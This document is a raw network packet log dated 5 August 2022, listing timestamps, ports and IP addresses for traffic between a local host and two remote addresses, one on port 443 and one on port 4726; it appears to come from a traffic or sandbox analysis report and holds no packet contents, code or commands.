Aug 5, 2022 11:32:58.931065083 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.931210995 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.931243896 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.931433916 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.931461096 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.931476116 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.931616068 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.931636095 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.931652069 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.931811094 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.932868958 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.933058023 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.933089018 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.933264017 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.933326960 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.933360100 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.933423042 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.933514118 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.933542967 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.933729887 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.933754921 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.933921099 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.933964014 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.933990955 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.934071064 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.934153080 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.934182882 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.934380054 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.934410095 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.934587002 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.934659004 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.934689045 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.934737921 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.934835911 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.934868097 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.935008049 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.935038090 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.935189009 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.935221910 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.935369968 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.935403109 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.935430050 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.935520887 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.935691118 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.935725927 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.935870886 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.935888052 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.935910940 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.936069965 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.936101913 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.936312914 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.936342001 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.936362028 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.936475992 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.936494112 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.936558962 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.936719894 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.936752081 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.936897993 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.936928034 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.937067986 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.937100887 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.937277079 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.937349081 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.937381983 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.937428951 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.937527895 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.937557936 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.937752962 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.937786102 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.937941074 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.937963963 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.937985897 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.938260078 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.938338041 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.938370943 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.938463926 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.938580036 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.938608885 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.938771009 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.938793898 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.938815117 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.938977003 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.939007998 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.939147949 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.939179897 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.939363956 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.939402103 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.939568043 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.939644098 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.939675093 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.939730883 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.939826012 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.939853907 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.940031052 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.940059900 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.940253973 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.940300941 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.940324068 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.940399885 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.940489054 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.940521002 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.940706015 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.940737009 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.940903902 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.940974951 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.940999985 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.941023111 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.941055059 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.941163063 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.941196918 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.941379070 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.941397905 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.941421986 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.941533089 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.941555977 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.941622019 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.941643953 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.941710949 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.941792011 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.941807032 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.941822052 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.941931963 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.941999912 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.942020893 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.942089081 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.942169905 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.942190886 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.942394018 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.942409039 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.942435980 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.942522049 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.942634106 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.942682981 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.942703962 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.942781925 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.942847967 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.942873001 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.942889929 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.943022966 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.943034887 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.943049908 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.943150997 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.943166018 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.943181038 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.943320036 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.943377018 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.943397045 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.943468094 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.943556070 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.943567991 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.943783045 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.943820000 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.943856955 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:33:01.003900051 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.054893970 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.055147886 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.102123976 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.160047054 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.160280943 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.251009941 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.251213074 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.302105904 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.316839933 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.407511950 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.407869101 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.485465050 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.485696077 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.511507034 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.511589050 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.511636972 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.511673927 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.511683941 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.511729956 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.511776924 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.511822939 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.511868000 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.511897087 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.511914015 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.511960983 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.512073994 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.512124062 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.512136936 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.512145042 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.512161016 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.563112974 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.563216925 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.563292027 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.563384056 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.563469887 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.563497066 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.563519001 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.563544989 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.563556910 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.563568115 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.563616037 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.563662052 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.563674927 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.563708067 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.563776016 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.563833952 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.563852072 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.563875914 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.563882113 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.563889980 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.563930988 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.563977003 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.564022064 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.564027071 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.564068079 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.564115047 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.564161062 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.564202070 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.564207077 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.564213037 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.564222097 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.564379930 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.564608097 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.615338087 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.615434885 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.615488052 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.615596056 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.615701914 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.615747929 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.615757942 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.615797043 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.615864038 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.615911007 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.615957022 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616002083 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616048098 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616106033 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.616148949 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.616204977 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616252899 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616286039 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.616301060 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616348028 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616393089 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616437912 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616460085 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.616483927 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616532087 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616579056 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616585016 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.616626024 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616765022 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.616775036 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.616782904 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.616792917 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616801023 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616944075 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616946936 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616949081 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616950989 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616952896 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.616972923 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.617021084 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.617065907 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.617121935 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.617134094 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.617142916 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.617151976 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.617157936 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.617204905 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.617249966 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.617295027 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.617340088 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.617342949 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.617391109 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.617436886 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.617482901 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.617516041 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.617556095 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.617693901 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.617732048 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.617866039 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.656440973 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.668195963 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.668562889 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.668616056 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.668663979 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.668818951 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.668904066 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.668909073 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.668947935 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.668956995 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.669003963 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.669049978 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.669078112 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.669130087 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.669178963 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.669224024 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.669270039 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.669315100 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.669415951 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.669431925 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.669456005 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.669513941 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.669560909 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.669605970 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.669651985 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.669714928 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.669776917 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.669816017 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.669929981 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.669965982 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.670003891 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.670016050 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.670077085 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.670084000 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.670150042 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.670218945 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.670254946 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.670290947 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.670362949 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.670433044 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.670433044 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.670444012 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.670452118 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.670568943 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.670609951 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.670645952 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.670717001 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.670789003 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.670790911 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.670806885 CEST	49794	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:01.670861006 CEST	4726	49794	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:01.670932055 CEST	4726	49794	188.127.230.176	192.168.11.20
